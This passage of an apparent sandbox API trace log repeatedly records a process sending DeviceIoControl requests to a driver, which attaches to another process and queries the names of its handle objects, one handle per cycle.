[0092.699] PsReleaseProcessExitSynchronization () returned 0x2 [0092.699] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.699] ObQueryNameString (in: Object=0xfffff8a0017fee90, ObjectNameInfo=0xfffffa800203c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800203c044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.699] ObfDereferenceObject (Object=0xfffff8a0017fee90) returned 0x1 [0092.699] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.699] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.699] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.700] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.700] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.700] PsAcquireProcessExitSynchronization () returned 0x0 [0092.700] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.700] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001940330, HandleInformation=0x0) returned 0x0 [0092.700] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.700] PsReleaseProcessExitSynchronization () returned 0x2 [0092.700] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.700] ObQueryNameString (in: Object=0xfffff8a001940330, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.700] ObfDereferenceObject (Object=0xfffff8a001940330) returned 0x1 [0092.700] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.700] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.700] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.700] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.700] PsAcquireProcessExitSynchronization () returned 0x0 [0092.700] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.700] ObReferenceObjectByHandle (in: Handle=0x49c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019cc320, HandleInformation=0x0) returned 0x0 [0092.700] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.700] PsReleaseProcessExitSynchronization () returned 0x2 [0092.700] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.700] ObQueryNameString (in: Object=0xfffff8a0019cc320, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.700] ObfDereferenceObject (Object=0xfffff8a0019cc320) returned 0x1 [0092.700] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.700] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.700] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.700] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.700] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.700] PsAcquireProcessExitSynchronization () returned 0x0 [0092.700] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.700] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00196fcd0, HandleInformation=0x0) returned 0x0 [0092.700] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.700] PsReleaseProcessExitSynchronization () returned 0x2 [0092.700] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.700] ObQueryNameString (in: Object=0xfffff8a00196fcd0, ObjectNameInfo=0xfffffa800204c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800204c044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.701] ObfDereferenceObject (Object=0xfffff8a00196fcd0) returned 0x1 [0092.701] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.701] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.701] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.701] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.701] PsAcquireProcessExitSynchronization () returned 0x0 [0092.701] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.701] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001ab67f0, HandleInformation=0x0) returned 0x0 [0092.701] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.701] PsReleaseProcessExitSynchronization () returned 0x2 [0092.701] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.701] ObQueryNameString (in: Object=0xfffff8a001ab67f0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.701] ObfDereferenceObject (Object=0xfffff8a001ab67f0) returned 0x1 [0092.701] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.701] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.701] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.701] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.701] PsAcquireProcessExitSynchronization () returned 0x0 [0092.701] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.701] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0010e4430, HandleInformation=0x0) returned 0x0 [0092.701] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.701] PsReleaseProcessExitSynchronization () returned 0x2 [0092.701] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.701] ObQueryNameString (in: Object=0xfffff8a0010e4430, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.701] ObfDereferenceObject (Object=0xfffff8a0010e4430) returned 0x1 [0092.701] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.701] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.701] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.701] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.701] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.701] PsAcquireProcessExitSynchronization () returned 0x0 [0092.702] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.702] ObReferenceObjectByHandle (in: Handle=0x4e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0018ae340, HandleInformation=0x0) returned 0x0 [0092.702] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.702] PsReleaseProcessExitSynchronization () returned 0x2 [0092.702] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.702] ObQueryNameString (in: Object=0xfffff8a0018ae340, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.702] ObfDereferenceObject (Object=0xfffff8a0018ae340) returned 0x1 [0092.702] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.702] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.702] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.702] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.702] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.702] PsAcquireProcessExitSynchronization () returned 0x0 [0092.702] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.702] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001c039b0, HandleInformation=0x0) returned 0x0 [0092.702] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.702] PsReleaseProcessExitSynchronization () returned 0x2 [0092.702] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.702] ObQueryNameString (in: Object=0xfffff8a001c039b0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.702] ObfDereferenceObject (Object=0xfffff8a001c039b0) returned 0x1 [0092.702] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.702] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.702] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.702] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.702] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.702] PsAcquireProcessExitSynchronization () returned 0x0 [0092.702] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.702] ObReferenceObjectByHandle (in: Handle=0x52c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001a69640, HandleInformation=0x0) returned 0x0 [0092.702] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.702] PsReleaseProcessExitSynchronization () returned 0x2 [0092.702] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.702] ObQueryNameString (in: Object=0xfffff8a001a69640, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.702] ObfDereferenceObject (Object=0xfffff8a001a69640) returned 0x1 [0092.702] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.702] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.703] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.703] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.703] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.703] PsAcquireProcessExitSynchronization () returned 0x0 [0092.703] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.703] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001a21af0, HandleInformation=0x0) returned 0x0 [0092.703] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.703] PsReleaseProcessExitSynchronization () returned 0x2 [0092.703] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.703] ObQueryNameString (in: Object=0xfffff8a001a21af0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.703] ObfDereferenceObject (Object=0xfffff8a001a21af0) returned 0x1 [0092.703] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.703] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.703] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.703] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.703] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.703] PsAcquireProcessExitSynchronization () returned 0x0 [0092.703] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.703] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001cb3830, HandleInformation=0x0) returned 0x0 [0092.703] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.703] PsReleaseProcessExitSynchronization () returned 0x2 [0092.703] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.703] ObQueryNameString (in: Object=0xfffff8a001cb3830, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.703] ObfDereferenceObject (Object=0xfffff8a001cb3830) returned 0x1 [0092.703] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.703] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.703] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.703] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.703] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.703] PsAcquireProcessExitSynchronization () returned 0x0 [0092.703] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.703] ObReferenceObjectByHandle (in: Handle=0x584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020aabb0, HandleInformation=0x0) returned 0x0 [0092.703] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.703] PsReleaseProcessExitSynchronization () returned 0x2 [0092.703] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.703] ObQueryNameString (in: Object=0xfffff8a0020aabb0, ObjectNameInfo=0xfffffa80020ec044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020ec044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.704] ObfDereferenceObject (Object=0xfffff8a0020aabb0) returned 0x1 [0092.704] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.704] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.704] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.704] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.704] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.704] PsAcquireProcessExitSynchronization () returned 0x0 [0092.704] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.704] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002386780, HandleInformation=0x0) returned 0x0 [0092.704] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.704] PsReleaseProcessExitSynchronization () returned 0x2 [0092.704] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.704] ObQueryNameString (in: Object=0xfffff8a002386780, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.704] ObfDereferenceObject (Object=0xfffff8a002386780) returned 0x1 [0092.704] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.704] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.704] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.704] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.704] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.704] PsAcquireProcessExitSynchronization () returned 0x0 [0092.704] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.704] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0017fa6b0, HandleInformation=0x0) returned 0x0 [0092.704] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.704] PsReleaseProcessExitSynchronization () returned 0x2 [0092.704] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.704] ObQueryNameString (in: Object=0xfffff8a0017fa6b0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.704] ObfDereferenceObject (Object=0xfffff8a0017fa6b0) returned 0x1 [0092.704] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.704] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.704] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.704] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.704] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.704] PsAcquireProcessExitSynchronization () returned 0x0 [0092.704] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.705] ObReferenceObjectByHandle (in: Handle=0x5f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001247ab0, HandleInformation=0x0) returned 0x0 [0092.705] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.705] PsReleaseProcessExitSynchronization () returned 0x2 [0092.705] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.705] ObQueryNameString (in: Object=0xfffff8a001247ab0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.705] ObfDereferenceObject (Object=0xfffff8a001247ab0) returned 0x1 [0092.705] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.705] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.705] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.705] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.705] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.705] PsAcquireProcessExitSynchronization () returned 0x0 [0092.705] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.705] ObReferenceObjectByHandle (in: Handle=0x5f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001bb0d70, HandleInformation=0x0) returned 0x0 [0092.705] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.705] PsReleaseProcessExitSynchronization () returned 0x2 [0092.705] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.705] ObQueryNameString (in: Object=0xfffff8a001bb0d70, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.705] ObfDereferenceObject (Object=0xfffff8a001bb0d70) returned 0x1 [0092.705] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.705] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.705] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.705] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 